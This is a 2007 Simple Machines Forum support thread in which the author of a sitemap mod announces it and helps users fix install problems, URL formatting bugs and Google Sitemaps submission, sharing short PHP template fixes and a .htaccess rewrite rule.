Simple Machines Community Forum

Customizing SMF => Modifications and Packages => Topic started by: SlammedDime on May 12, 2007, 05:43:04 PM

Title: Sitemap
Post by: SlammedDime on May 12, 2007, 05:43:04 PM
Link to Mod (http://custom.simplemachines.org/mods/index.php?mod=755)

This file adds an extra action to your SMF installation '?action=sitemap' that will show a sitemap to your visitors and bots.  It will not show boards to a user that its not supposed to.  So a guest will not see hidden boards.  It also has added support for SMF queryless urls and Pretty Urls mod.  Admin options for 1.1.x can be found under Features and Options and for 2.0 under Configuration > Modifications > Sitemap.

If you have Joomla!/Mambo and are running this with Orstio's Bridge, the sitemap will see that and format your links accordingly, and if you are using Joomla SEF, it will convert them as well.

Also included is the option to display an XML sitemap for use with Google Sitemaps.  On any of the sitemap pages, simply click the 'XML' link at the bottom for the XML version.  If you wish to submit your site to Google Sitemaps, you will need to use this link.  Google does not like SEF formatted URLs for the sitemap because it won't show the sitemap in the root directory.  Using the link as provided will.

A working version can be seen at http://www.airridetalk.com/forum/sitemap

Change Log:
2.0.0: Complete rewrite of the mod
1.2.2/1.3.0: Added support for Pretty Urls mod, changed username on topic display to Display name, rather than username.  1.2.2 is the last update for the 1.1.x series of SMF.  All future development will continue on 1.3.0 in support of SMF 2.0.
1.2.1: With lots of new things comes bugs.  Some error checking wasn't done, which caused an incorrect number of pages to be displayed, and thus causing sql errors.
1.2.0: Lots of new things... a few options in the admin panel under Features and Options.  Limit the number of topics on the sitemap, disallow non-admin access to the XML sitemap link, and collapse the child boards to reduce the size of the sitemap display.  A few bug fixes as well, primarily with the queryless_urls setting.
1.1.3: Fixed file a tad more, and fixed uninstaller to remove files added
1.1.2: Updated files to follow SMF coding guidelines more closely
1.1.1: Added Link Tree information and Who information
1.1: Added XML support
1.0: Initial Release


If you have Tiny Portal installed with 1.1.8, you may need to manually edit index.template.php.

Replace                                         ', theme_copyright(), ' <br />', tportal_version() , '
                                </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">

with
                                        ', theme_copyright(), ' <br />', tportal_version() , '
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>
                                </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
Title: Re: SMF Sitemap
Post by: SlammedDime on May 12, 2007, 07:29:51 PM
One thing that I'm pretty sure will not work, is if you have SEO4SMF and try to use this, it will not generate SEO urls as you expect.  I do believe that that mod has an xml sitemap generator, so you may wish to look into that.
Title: Re: SMF Sitemap
Post by: imschur on May 13, 2007, 12:36:23 AM
Hi, I just installed this via the package manager at http://www.gearpedia.net. Everything seemed to go fine with no errors but I have no sitemap. Should this mod have added a new tab or anything in the control panel?

Thanks
Title: Re: SMF Sitemap
Post by: SlammedDime on May 13, 2007, 05:12:05 AM
Quote from: imschur on May 13, 2007, 12:36:23 AM
Hi, I just installed this via the package manager at http://www.gearpedia.net. Everything seemed to go fine with no errors but I have no sitemap. Should this mod have added a new tab or anything in the control panel?

Thanks
It adds a link to the sitemap next to the copyright in the template.  If you're not using the default theme, you'll have to manually make this change, as with all mods that make theme changes.  I've thought about adding options for this in the control panel, such as limits on the number of boards or topics to display, but I have no need for it on my site, so I never coded it that way.  Bo I'll leave that open for discussion.  I always welcome feedback.
Title: Re: SMF Sitemap
Post by: imschur on May 13, 2007, 10:24:49 AM
ok Im a moron. Thanks for the help and this cool mod.
Title: Re: SMF Sitemap
Post by: TrueSatan on May 13, 2007, 10:36:30 AM
If you want to add it to the main navigation menu then please read the SMF documentation...here's a link that gives how to add it in the default theme...just adapt the method to a custom theme. http://docs.simplemachines.org/index.php?topic=564.0 (http://docs.simplemachines.org/index.php?topic=564.0)
Title: Re: SMF Sitemap
Post by: imschur on May 13, 2007, 05:04:00 PM
Thanks for the link.

Please forgive my noob questions but regarding the sitemap.xml   Do I just perform a "save as" on the xml button and call it sitemap.xml end of story? Cuz jeez if this is the case Ill be ecstatic with the thought of putting an end to using applications to crawl the site for days

Thanks for your patience
Title: Re: SMF Sitemap
Post by: SlammedDime on May 13, 2007, 05:45:59 PM
If you want to upload your sitemap someplace, then yes you could do that.  Or you can just click the xml link, or copy the xml link rather, and submit it to google in google sitemaps.
Title: Re: SMF Sitemap
Post by: imschur on May 13, 2007, 06:04:45 PM
Thank you so much
Title: Re: SMF Sitemap
Post by: DuygusaL on May 14, 2007, 09:31:34 AM
thank you friend
Title: Re: SMF Sitemap
Post by: nitins60 on May 14, 2007, 09:48:24 AM
Nice feature! Which link should i use to Google Sitemaps, if i installed it n http://forum.com/forum/
Title: Re: SMF Sitemap
Post by: SlammedDime on May 14, 2007, 01:33:51 PM
Quote from: Matt @ ARTcom on May 12, 2007, 05:43:04 PMAlso included is the option to display an XML sitemap for use with Google Sitemaps.  On any of the sitemap pages, simply click the 'XML' link at the bottom for the XML version.  If you wish to submit your site to Google Sitemaps, you will need to use this link.  Google does not like SEF formatted URLs for the sitemap because it won't show the sitemap in the root directory.  Using the link as provided will.
Title: Re: SMF Sitemap
Post by: riffster on May 15, 2007, 08:09:19 PM
Love the results of your site Matt. I am having some difficulty with this mod though probably from sheer lack of knowledge. I am running -

Joomla (enabled SEF)
SMF Bridge 1.1.6
Opensef

After install, the result is - http://slidemeister.com/component/option,com_smf/Itemid,40/action,sitemap/lang,en

This does not look like your neat structured forum. Any suggestions?




Title: Re: SMF Sitemap
Post by: SlammedDime on May 15, 2007, 08:41:01 PM
I don't quite understand your question.  Are you referring to the URL's that my site uses (the SEF Urls)?  The sitemap that you linked looks exactly as it should.  If you're wondering about the URL's, its because I created a SEF extension for OpenSEF that allows my site to have content filled urls through OpenSEF.  There is a thread on the first page of the Joomla/Mambo support forum with all of that information in it (titled: (Near) Perfect SEF for Bridged Joomla/SMF with OpenSEF (http://www.simplemachines.org/community/index.php?topic=159019.0))
Title: Re: SMF Sitemap
Post by: riffster on May 15, 2007, 09:06:48 PM
Ah Haa! I'm late to the ballgame here so it seems. So I need this extention. It appears to be being updated at the moment. I'll grab it later. Good work & good support from you Matt.
Title: Re: SMF Sitemap
Post by: SlammedDime on May 17, 2007, 10:38:42 AM
I'm curious to hear some opinions from the masses....

On very large sites with many topics, loading the XML page could be quite demanding on the server (maybe not, as it gets all the threads in one query, but it could be a large chunk of data transfer).  Would it be better, or would some people prefer to have the XML link show to only admins, that way they have access to the link to submit to google or other sites that accept xml sitemaps.

I'm also going to rework the changefreq and priority, as they are simply static right now, but having them dynamic would be better, but that may use even more database resources, and again, for large sites, would be demanding on the server.
Title: Re: SMF Sitemap
Post by: DJ Rg on May 20, 2007, 09:45:55 AM
Hi and Thanks Much Matt

I know bout this much bout site maps, and google (and probably yahoo etc) likes them. I gave Google the XML (in the webmaster tools).

Myself anything that lightens a sites resource usage is a good thing, so with that much knowledge I would say yes to make the XML available to admins only, or by group permissions, (is it really anymore than a SEO tool?)..

I am really interested in what others have to say about this...

Thanks again for creating and sharing this....

8)
Title: Re: SMF Sitemap
Post by: Skipdawg on May 20, 2007, 02:07:45 PM
Awesome mod thanks.  ;)  Makes that part more simple.  ;D
Title: Re: SMF Sitemap
Post by: SlammedDime on May 20, 2007, 05:13:25 PM
Quote from: DJ Rg on May 20, 2007, 09:45:55 AM
Hi and Thanks Much Matt

I know bout this much bout site maps, and google (and probably yahoo etc) likes them. I gave Google the XML (in the webmaster tools).

Myself anything that lightens a sites resource usage is a good thing, so with that much knowledge I would say yes to make the XML available to admins only, or by group permissions, (is it really anymore than a SEO tool?)..

I am really interested in what others have to say about this...

Thanks again for creating and sharing this....

8)
I suppose the best way to determine if it really is demanding on the server is to have someone monitor real time loads as the page loads on a very large site, or to check the generation time and see how small or large it is.  Unfortunately my site doesn't have many topics, so I wouldn't be able to test this, but I have seen a few sites that are using this mod that have over 20K topics (this mod caps at 20K I think) and they might be able to gauge it... but simply adding a conditional to the template to only display the XML link to admins so they at least have access to it would be easy enough for now.

I'll also be adding a 'urllist' utility in the next version which will generate a text file that can be used on yahoo (although I do believe that yahoo and the other major engines use XML now).

There's also a little bug, although no biggie, that I discovered, which can easily be seen on Skipdawg's site... there are more pages than there are threads... easy fix as well, which will be in the next version.
Title: Re: SMF Sitemap
Post by: Nutter on May 22, 2007, 08:06:22 AM
I've got a problem. The XML is generating URLs like http://www.example.com/index.php/board,15.0.html instead of index.php?board=15.0 or ?topic=350.0

The viewer sitemap pages work fine.

Any suggestions before I start digging in to the code to hack a fix?
Title: Re: SMF Sitemap
Post by: nitins60 on May 22, 2007, 09:39:49 AM
Nothing wrong. Smf generates urls like http://forum.com/index.php/etc.html and index.php? Nothing wrong

Title: Re: SMF Sitemap
Post by: SlammedDime on May 22, 2007, 09:54:53 AM
Quote from: Nutter on May 22, 2007, 08:06:22 AM
I've got a problem. The XML is generating URLs like http://www.example.com/index.php/board,15.0.html instead of index.php?board=15.0 or ?topic=350.0

The viewer sitemap pages work fine.

Any suggestions before I start digging in to the code to hack a fix?
There shouldn't be a fix needed... I need to see a URL to see whats going on on your site.  If the XML links are being formatted like that, then you have queryless urls enabled on your board.  If you do not have this enabled, or have no clue what it is, I need to see a URL.
Title: Re: SMF Sitemap
Post by: Nutter on May 22, 2007, 10:17:27 AM
I assume that's "Search engine friendly URLs" which I have unchecked.  Shouldn't the URLs in the XML file be the same as the normal sitemap?

Sitemap is http://forums.photoartsforum.com/index.php?action=sitemap , xml is http://forums.photoartsforum.com/index.php?action=sitemap;xml . 
Title: Re: SMF Sitemap
Post by: SlammedDime on May 22, 2007, 03:15:58 PM
Quote from: Nutter on May 22, 2007, 10:17:27 AM
I assume that's "Search engine friendly URLs" which I have unchecked.  Shouldn't the URLs in the XML file be the same as the normal sitemap?

Sitemap is http://forums.photoartsforum.com/index.php?action=sitemap , xml is http://forums.photoartsforum.com/index.php?action=sitemap;xml . 
Do this... check that box, save your settings, then uncheck the box, then save your settings again and see what happens.

Edit, I think I know the issue, and its rare... but on line 108 of Sitemap.template.php, change
         if ($modSettings['queryless_urls']==0)

to
         if (empty($modSettings['queryless_urls']) || $string == $scripturl)
Title: Re: SMF Sitemap
Post by: Nutter on May 22, 2007, 03:30:46 PM
QuoteDo this... check that box, save your settings, then uncheck the box, then save your settings again and see what happens.
That seems to have fixed it.  Do you mind sharing the cause?  Call it a morbid curiosity  :D
Title: Re: SMF Sitemap
Post by: SlammedDime on May 22, 2007, 03:39:07 PM
Quote from: Nutter on May 22, 2007, 03:30:46 PM
QuoteDo this... check that box, save your settings, then uncheck the box, then save your settings again and see what happens.
That seems to have fixed it.  Do you mind sharing the cause?  Call it a morbid curiosity  :D
Beats me.... all I can figure was that the queryless_url setting was improperly set to some strange value, which caused error in this mod, but allowed your board to still function properly.  Editing Sitemap.template.php as I suggested above would clear it up alltogether, as that is the similar code that is used in the SMF source files.
Title: Re: SMF Sitemap
Post by: Hadi on June 01, 2007, 10:58:05 AM
tried the more...but i keep receive the following msg

An Error Has Occurred!
Unable to load the 'main' template.


what did i do wrong?

Title: Re: SMF Sitemap
Post by: SlammedDime on June 01, 2007, 02:12:14 PM
Make sure the file Sitemap.template.php made it into your default theme directory.
Title: Re: SMF Sitemap
Post by: wicked1 on June 04, 2007, 04:56:19 AM
i just installed it and it works just fine on my site. This is a great mod :)
I even got it to work on a custom theme and put it into the main menu. I am also glad that it doesn't show "hidden" boards.

I just have two questions:

1. would it be possible to make it so it only shows the main boards in the sitemap? Like have it minimize the sub-forums until they click the arrow to expand? I have a rather large board and the sitemap seems to go on forever lol
2. i know you mentioned it before, but i would like to make it so that xml is admin-only. Can you explain how to do that please?

thank you so much!
Title: Re: SMF Sitemap
Post by: SlammedDime on June 04, 2007, 06:29:42 AM
In the next release, when I have some free time to code more, I'll add some settings in the admin panel for the sitemap.  I'll add in an option for collapsible sub-boards, and I'll also add in an option for the XML link to be shown to only admins or everyone, along with options like excluding additional boards, and maybe some other user suggestions?

As for making it admin viewable only for the time being...

Code (find) Select
global $scripturl, $modSettings, $txt;
Code (replace) Select
global $scripturl, $modSettings, $txt, $context;

Code (find) Select
echo '</li>
<li>', getXMLLink(), '</li>';

Code (replace) Select
echo '</li>';
if($context['user']['is_admin'])
echo '
<li>', getXMLLink(), '</li>';
Title: Re: SMF Sitemap
Post by: wicked1 on June 04, 2007, 07:48:09 AM
thank you for such a quick response :)
i'm looking forward to the next release, i can't think of any other suggestions at this point.
And that worked! So now the xml for my sitemap is admin only :)
thanks again!
Title: Re: SMF Sitemap
Post by: Hadi on June 04, 2007, 09:49:57 AM
Quote from: Matt @ ARTcom on June 01, 2007, 02:12:14 PM
Make sure the file Sitemap.template.php made it into your default theme directory.

Its there....but the size is only Zero B
Title: Re: SMF Sitemap
Post by: SlammedDime on June 04, 2007, 03:06:05 PM
Download another copy of the mod and manually upload that file to your default theme directory.
Title: Re: SMF Sitemap
Post by: romeoyankee on June 22, 2007, 11:16:36 AM
hey guys.. quick question for you in regards to uploading the sitemap to google.

So i already have my account set up with google under the domain www.cyow.ca

My forums are in www.cyow.ca/forums/

Is there a way to just upload the link to the sitemap file??? 

When I try and add this http://www.cyow.ca/forums/index.php?action=sitemap;xml to google it tells me that it isnt a valid site..

It says "The Sitemap must be located at http://www.cyow.ca/. To add a Sitemap at http://www.cyow.ca/forums/, first add that site to your account and then click the Add a Sitemap link beside it.


How do I get the sitemap file uploaded to google?  Do I have to save the link as sitemap2.xml (i have a sitemap file for the rest of my site as well) and then upload it to my server and then give that to google? 

Let me know!
Title: Re: SMF Sitemap
Post by: SlammedDime on June 22, 2007, 05:20:30 PM
I'm sure it wouldn't be too difficult to use Apache's mod_rewrite and put a .htaccess file in your root directory that would point at that file.  Let me play around and see if I can come up with something.
Title: Re: SMF Sitemap
Post by: SlammedDime on June 22, 2007, 05:29:12 PM
put the following in a .htaccess file in your root directory and see if it works for you... (or add to one that may already be there)

RewriteEngine on
RewriteRule ^sitemap2.xml$ /forums/index.php?action=sitemap;xml


Then navigate to http://www.cyow.ca/sitemap2.xml and you should see the same thing as if you went to http://www.cyow.ca/forums/index.php?action=sitemap;xml.  If it does work, then you can simply submit http://www.cyow.ca/sitemap2.xml to google as well and you should be set.
Title: Re: SMF Sitemap
Post by: romeoyankee on June 23, 2007, 03:50:34 PM
thanks alot for a fast AND correct answer!!! 

I havent worked with htaccess alot and dont really know how to.  That worked perfectly!

thanks man
Title: Re: SMF Sitemap
Post by: Garry1953 on June 24, 2007, 05:44:07 PM
Just added this mod to my forum, works perfectly, thanks.
Title: Re: SMF Sitemap
Post by: amirali.b on June 25, 2007, 02:24:35 AM
HI
I whant to install this mod manually for my costum theme
<file name="$boarddir/index.php">
I dont have boarddir !! which index.php file?
Title: Re: SMF Sitemap
Post by: SlammedDime on June 25, 2007, 03:47:53 AM
If you are installing on a custom theme, you do not need to worry about that line.... only only need to worry about the install instructions that have $themedir in them.
Title: Re: SMF Sitemap
Post by: amirali.b on June 25, 2007, 07:21:28 AM
ok !
then ... only I will change the themdir .
thanks for answer.
Iwill tell you the results.

regards.
Title: Re: SMF Sitemap
Post by: nitins60 on June 26, 2007, 08:40:38 PM
this package is either corrupted or not compatible with this smf version

Smf v1.1.3 package uploaded/downloaded properly. Checked whether Files are extracted to temp folder also (make sure i uploaded uncorrupted zip file).
Downloaded package Smfsitemap.v1.1.3a.zip
Title: Re: SMF Sitemap
Post by: Jorin on June 27, 2007, 03:05:54 AM
Quote from: nitins60 on June 26, 2007, 08:40:38 PM
this package is either corrupted or not compatible with this smf version
Hmmm, can't install the 1.1.3a version on my smf 1.1.3 via package manager. It says there are no actions defined. :( It seems that the file package-info.xml is wrong?
Title: Re: SMF Sitemap
Post by: SlammedDime on June 27, 2007, 04:14:12 AM
Sorry there guys, I guess when I edited the package-info.xml, it didn't get saved back into the zip file.  Try again using the latest version (I suppose) on the mod page.  Since there really isn't any code changes, just changing of the package-info file, I kept the version number the same as before 1.1.2... as not maybe not confuse people?
Title: Re: SMF Sitemap
Post by: Jorin on June 27, 2007, 06:21:17 AM
Thanks, Matt, I edited the file for myself and could install your mod. It's working fine.
Title: Re: SMF Sitemap
Post by: Robi052 on June 27, 2007, 10:17:41 AM
Working fine, but in error log see this

8: Undefined index: user_info
Datoteka: /home/mojporta/public_html/forum/Themes/default/Sitemap.template.php (Boards sub template - eval?)
Linija: 86
Title: Re: SMF Sitemap
Post by: Photoshocker on June 27, 2007, 11:05:13 AM
I cant see the xml link.. :( any ideas?
Title: Re: SMF Sitemap
Post by: SlammedDime on June 27, 2007, 01:12:16 PM
Oh, damn, I forgot that I was working on it to hide the xml link so only admins could see it and I hadn't quite finished that part of it... ugh.. this is why i 'love' coding... haha...

Lets try this one more time... uninstall, redownload, then reinstall.... then you should be good to go.... I hope... :)
Title: Re: SMF Sitemap
Post by: Robi052 on June 27, 2007, 02:56:09 PM
Now I see in error log when click to xml


8: Undefined index: queryless_urls
Datoteka: /home/mojporta/public_html/forum/Themes/default/Sitemap.template.php (XMLDisplay sub template - eval?)
Linija: 108
Title: Re: SMF Sitemap
Post by: SlammedDime on June 27, 2007, 04:00:25 PM
Interesting... in your forum settings, turn on queryless urls, then save, then turn them off, then save, and see if that fixes the problem.  The empty() function call in php shouldn't report an error like that, at least it doesn't in my test environment and on my live site, and i tested for that index just like SMF does in its core files.  But doing as I suggested should correct that issue.
Title: Re: SMF Sitemap
Post by: Robi052 on June 27, 2007, 04:05:40 PM
Quote from: Matt @ ARTcom on June 27, 2007, 04:00:25 PM
Interesting... in your forum settings, turn on queryless urls, then save, then turn them off, then save, and see if that fixes the problem.  The empty() function call in php shouldn't report an error like that, at least it doesn't in my test environment and on my live site, and i tested for that index just like SMF does in its core files.  But doing as I suggested should correct that issue.

Cannot found that. Where is it?
Title: Re: SMF Sitemap
Post by: SlammedDime on June 27, 2007, 04:10:36 PM
Sorry, Admin Panel > Features and Options > Search engine friendly URLs
Title: Re: SMF Sitemap
Post by: Robi052 on June 27, 2007, 04:15:20 PM
Thanks .... solved
Title: Re: SMF Sitemap
Post by: Photoshocker on June 27, 2007, 07:44:30 PM
Quote from: Matt @ ARTcom on June 27, 2007, 01:12:16 PM
Oh, damn, I forgot that I was working on it to hide the xml link so only admins could see it and I hadn't quite finished that part of it... ugh.. this is why i 'love' coding... haha...

Lets try this one more time... uninstall, redownload, then reinstall.... then you should be good to go.... I hope... :)

Worked!  thanks!
Title: Re: SMF Sitemap
Post by: Jorin on June 28, 2007, 01:46:30 AM
Quote from: Matt @ ARTcom on June 27, 2007, 01:12:16 PM
Oh, damn, I forgot that I was working on it to hide the xml link so only admins could see it and I hadn't quite finished that part of it... ugh.. this is why i 'love' coding... haha...

Lets try this one more time... uninstall, redownload, then reinstall.... then you should be good to go.... I hope... :)

Huh? I installed it before you wrote this, but I see the XML link as admin, member and guest!  :o Google also see the link. Do I have to re-install also? Or do you think everything is allright?
Title: Re: SMF Sitemap
Post by: SlammedDime on June 28, 2007, 02:11:49 AM
Check Sitemap.php in your sources directory.  At the very top, it will have the version number.  If it says 1.1.3, you're good to go.  If it says 1.1.4, uninstall it, then redownload it from the mod site and reinstall it. :)
Title: Re: SMF Sitemap
Post by: Jorin on June 28, 2007, 02:27:23 AM
1.1.3. Fine&nbsp; ;D

Thank you very much, Matt.
Title: Re: SMF Sitemap
Post by: Photoshocker on June 28, 2007, 06:56:21 AM
Ιm getting an error



8: Undefined index: queryless_urls
File: /.../...../public_html/Themes/SoftMC_Blue/Sitemap.template.php
Line: 108


I found this in the 108 line:

if ($modSettings['queryless_urls']==0)


Any ideas?
Title: Re: SMF Sitemap
Post by: SlammedDime on June 28, 2007, 11:52:05 AM
Read up a few posts.
Title: Re: SMF Sitemap
Post by: Photoshocker on June 28, 2007, 01:05:56 PM
Sh*t i missed that! Thanks! :)
Title: Re: SMF Sitemap
Post by: SlammedDime on June 28, 2007, 04:23:40 PM
no worries ;)
Title: Re: SMF Sitemap
Post by: Jorin on June 29, 2007, 11:09:21 AM
Hi Matt... In the XML view of the sitemap the first URL was false. On my forum it looks like this:

<?xml version="1.0" encoding="UTF-8" ?>
- <urlset xmlns="http://www.google.com/schemas/sitemap/0.84">
- <url>
&nbsp; <loc>http://www.smfportal.de/index.php.html</loc>
&nbsp; <lastmod>2007-06-29T17:07:50+02:00</lastmod>
&nbsp; <changefreq>always</changefreq>
&nbsp; <priority>1.0</priority>
&nbsp; </url>


I changed line 112 in sitemap.template.php to this:

$string = $string . (strpos($string, 'index.php/') !== false ? '.html' : '');

... and now the XML view looks right:

<?xml version="1.0" encoding="UTF-8" ?>
- <urlset xmlns="http://www.google.com/schemas/sitemap/0.84">
- <url>
&nbsp; <loc>http://www.smfportal.de/index.php</loc>
&nbsp; <lastmod>2007-06-29T17:07:50+02:00</lastmod>
&nbsp; <changefreq>always</changefreq>
&nbsp; <priority>1.0</priority>
&nbsp; </url>


Neakro told me the new code of line 112, but he's not sure if it is right...&nbsp; :-X
Title: Re: SMF Sitemap
Post by: SlammedDime on July 02, 2007, 02:51:10 AM
Sorry, yea, this is one of the bugs that I found that I thought I had provided a fix for a few pages back... around line 108, change it from:

if ($modSettings['queryless_urls']==0)

to

if (empty($modSettings['queryless_urls']) || $string == $scripturl)

And change back that line that you changed to what it was, and all should be well.  I'm hoping to release 1.2 soon, with a few admin panel settings, as well as a few bug fixes, like the one above.
Title: Re: SMF Sitemap
Post by: Jorin on July 02, 2007, 04:51:27 AM
Thanks, code is now:

// And if its not here, create a false function...
else {
$myurl = $scripturl;
$mark = '?';
function sefReltoAbs($string) {
global $modSettings;
if (empty($modSettings['queryless_urls']) || $string == $scripturl)
return $string;
$string = str_replace('?board=', '/board,', $string);
$string = str_replace('?topic=', '/topic,', $string);
$string = $string . '.html';
return $string;
}
}


...but the wrong link is still there.  :(
Title: Re: SMF Sitemap
Post by: romeoyankee on July 02, 2007, 10:15:23 AM
Yeah I have the same problem.  I remember Matt talking about how he uploaded a new version but with an old version number or something like that.  Mine matched the version number that is available for download now but I have the .php.html problem on the first link. 

I deleted then redownloaded the mod.

The same problem is still there though!

So Matt if you could fix the problem that would be great!  Oh and always use a new version number.. :)

Gotta love the Dewey Decimal system.  ;)
Title: Re: SMF Sitemap
Post by: SlammedDime on July 02, 2007, 01:31:14 PM
There is a line above the one I just had you change, global $modSettings;.  Change it to global $modSettings, $scripturl; and the issue should be fixed.  I'll make the changes and add some features and upload a new version in a bit. :)
Title: Re: SMF Sitemap
Post by: SlammedDime on July 03, 2007, 04:15:20 PM
Ok, 1.2.0 has been released now.  A few new features as well as some bug fixes.

New Features:
- Admin options under Features and Options for limiting number of topics in sitemap, disabling non-admin viewing of XML link, and added option to collapse child boards on the sitemap display.

Bug fixes:
  Invalid checking of queryless_url setting, caused either errors in error log, or unexpected results.
Title: Re: SMF Sitemap
Post by: Jorin on July 04, 2007, 01:56:42 AM
index.php.html-error is done, thanks! :)

But: Collapsed child boards are shown, but they normally must be not shown. When clicking on the "plus" graphic on my forum, then (!) they must be shown. But this didn't work: http://www.smfportal.de/index.php?action=sitemap ???
Title: Re: SMF Sitemap
Post by: SlammedDime on July 04, 2007, 08:51:58 AM
If you have a custom theme, which you do, you need to edit the style.css file accordingly based on what is contained in the xml install file, just like template modifications for non-default themes.
Title: Re: SMF Sitemap
Post by: Jorin on July 04, 2007, 09:23:02 AM
Quote from: Matt @ ARTcom on July 04, 2007, 08:51:58 AM
If you have a custom theme, which you do, you need to edit the style.css file accordingly based on what is contained in the xml install file, just like template modifications for non-default themes.

Oh, oops!  :-[
Title: Re: SMF Sitemap
Post by: SlowMo on July 06, 2007, 04:42:28 PM
what's the install process for this mod?  do you update it or uninstall to reinstall?

Thanks matt. i was using 1.1.3 so i uninstalled and reinstalled and everything works fine so far.
Title: Re: SMF Sitemap
Post by: SlammedDime on July 06, 2007, 04:43:47 PM
If you already have it installed, you'll need to uninstall, then reinstall the new version.  If you don't already have it, install it like any other mod.
Title: Re: SMF Sitemap
Post by: incolumus on July 08, 2007, 08:29:01 AM
Hello! It's seems to be a good mod... but I have a problem:

When I click over XML to generate de XML map (from the forum wrapped in joomla) it brings me this error (in spanish):

Error de lectura XML: la instrucción de proceso XML no se encuentra al comienzo de una entidad externa
Ubicación: http://sythfi.byethost7.com/index.php?option=com_smf&Itemid=28&action=sitemap;xml
Número de línea 2, columna 1:<?xml version="1.0" encoding="UTF-8"?>


Translated it should sounds something like:

Error reading XML: the process instruction XML it's not found at the beginning of an extern entity.
Place: http://sythfi.byethost7.com/index.php?option=com_smf&Itemid=28&action=sitemap;xml
Line number 2, column 1:<?xml version="1.0" encoding="UTF-8"?>


Must say, I have installed SMF 1.1.2 and Joomla with OrstioBridge and I only get this error message if I call it from the forum wrapped in the joomla interface; if I do it from the forum itself (without joomla) it's works fine.

¿Any idea? I hope it helps you to have an almost perfect MOD.

Thanks for all!
Title: Re: SMF Sitemap
Post by: SlammedDime on July 08, 2007, 01:27:46 PM
link?
Title: Re: SMF Sitemap
Post by: Dead Mortal on July 16, 2007, 12:23:30 AM
Hello when installing mod leaves an error to me, mod installs it in smf 1.1.3 that I can do

sreen shot: http://img106.imageshack.us/img106/7466/untitledun6.png
Title: Re: SMF Sitemap
Post by: SlammedDime on July 19, 2007, 09:09:38 PM
No worries.  If the mod has actually installed (you can verify by going to index.php?action=sitemap), then just go to your admin panel and go to features and settings and make sure the settings are there for the sitemap, then save them.
Title: Re: SMF Sitemap
Post by: Dead Mortal on July 22, 2007, 03:27:02 PM
thanks man !!!!!
Title: Re: SMF Sitemap
Post by: Liroy on July 23, 2007, 04:40:01 AM
how to enable sitemaps for guests because i have opened forum only for users but google sitemap bot is not user and he can't check my xml sitemap
Title: Re: SMF Sitemap
Post by: SlammedDime on July 23, 2007, 05:16:11 AM
The purpose of the link, more or less, is to allow you a way to submit the link to google's webmaster tools.  However, the option to display the link to all is in the admin panel.  From the first post and the readme and changelog...

QuoteChange Log:
1.2.0: Lots of new things... a few options in the admin panel under Features and Options.  Limit the number of topics on the sitemap, disallow non-admin access to the XML sitemap link, and collapse the child boards to reduce the size of the sitemap display.  A few bug fixes as well, primarily with the queryless_urls setting.
Title: Re: SMF Sitemap
Post by: Liroy on July 23, 2007, 02:16:51 PM
but this nor working ;/ when i enable to all google webmaster tools see error in sitemap ;/ because he need login to see sitemap ;/
Title: Re: SMF Sitemap
Post by: SlammedDime on July 23, 2007, 02:48:24 PM
No login is required to see the sitemap.  There are no permissions for who can see the xml sitemap, just who can see the link to the sitemap.  Do you have a URL that I can see for your site?
Title: Re: SMF Sitemap
Post by: Liroy on July 24, 2007, 08:33:29 AM
http://btiteam.xorg.pl
Title: Re: SMF Sitemap
Post by: SlammedDime on July 24, 2007, 03:18:24 PM
You don't have the mod installed.
Title: Re: SMF Sitemap
Post by: Liroy on July 24, 2007, 03:56:30 PM
yes now i uninstalled and install seo4smf ;] because seo4smf works great :)
Title: Re: SMF Sitemap
Post by: SlammedDime on July 24, 2007, 04:04:57 PM
Whatever floats your boat. :)
Title: Re: SMF Sitemap
Post by: Liroy on July 24, 2007, 04:34:42 PM
why you tell me this?  btw check on some free hosting this error will be this same like in my forum
Title: Re: SMF Sitemap
Post by: SlammedDime on July 24, 2007, 04:46:45 PM
Well I can't very well see if there is an issue if you decide to uninstall the mod before I can take a look into it.  Now that you've provided a link, I can see what the 'issue' is.  But its not really an issue at all.  If you've closed off your forum to guests, then there is no point in using an XML sitemap as google can't view your site anyway.
Title: Re: SMF Sitemap
Post by: shiawasekun on July 25, 2007, 05:42:33 AM
Hi, I'm quite lost after installing the mod.

I'm using DilberMC theme.

1) I upload the mod (Successful)
2) I don't see any additional options.
3) My domain looks like http://forums.domain.com/

What should I do next?
Title: Re: SMF Sitemap
Post by: SlammedDime on July 25, 2007, 06:01:33 AM
Did the package manager show any errors when installing?

As for he sitemap link, attach index.php?action=sitemap to your domain above and if you see the sitemap, it is installed.  Options can be found in the 'Features and Options' admin section.  If you don't see options, then the mod didn't successfully install.  No theme edits would be required to see the options, only to see the link in the footer of the forum by the SMF copyright.  You'd need to edit your index.template.php in your theme to add the link.
Title: Re: SMF Sitemap
Post by: anakmacan on July 25, 2007, 10:12:47 PM
Im using classic YABB, Can anyone tell me what file to edit and how?
Title: Re: SMF Sitemap
Post by: SlammedDime on July 26, 2007, 04:07:17 AM
That was answered the post above yours.  You can use this package parser, and choose theme edits only in the options below the input box, and it will show you exactly what to edit...

http://modparser.dev.dansoftaustralia.net/
Title: Re: SMF Sitemap
Post by: ekfaysal on July 26, 2007, 06:04:31 AM
google says sitemap is not valid
Title: Re: SMF Sitemap
Post by: SlammedDime on July 26, 2007, 06:35:43 AM
URL?  What is the url that you're submitting to google?  Note that in google webmaster tools, the 'http://www.domain.com' is already filled in before the box, so all you need to add is 'index.php?action=sitemap;xml'
Title: Re: SMF Sitemap
Post by: ekfaysal on July 27, 2007, 12:57:04 AM
yea i have done this.
but when it varified, it says errror
Title: Re: SMF Sitemap
Post by: John S on August 02, 2007, 08:56:51 AM
matt, i see on your site: http://www.airridetalk.com/forum/sitemap

that you've got URL SEO (e.g. http://www.airridetalk.com/forum/globalannouncements/id/1) - which one do you use? (because it's compatible with this mod)

- i've used SEO4SMF before but encountered countless problems, i'm never using it again, got an ideas which SEO (URL Beautifying) works (flawless) and is compatibile with this mod?

thanks
Title: Re: SMF Sitemap
Post by: SlammedDime on August 02, 2007, 02:53:34 PM
I use my own sef_ext.php file that I created for OpenSEF and Joomla and the Bridge between the two.  You might want to try the Pretty Urls mod.
Title: Re: SMF Sitemap
Post by: cru on August 03, 2007, 01:36:20 AM
The installation went well for smf1.1.3

I have submitted it to google webmasters tools , sitemap
index.php?action=sitemap

1. but thre's an error on sitemap status. (in my google webmasters tools dashboard/mysite/sitemaps)

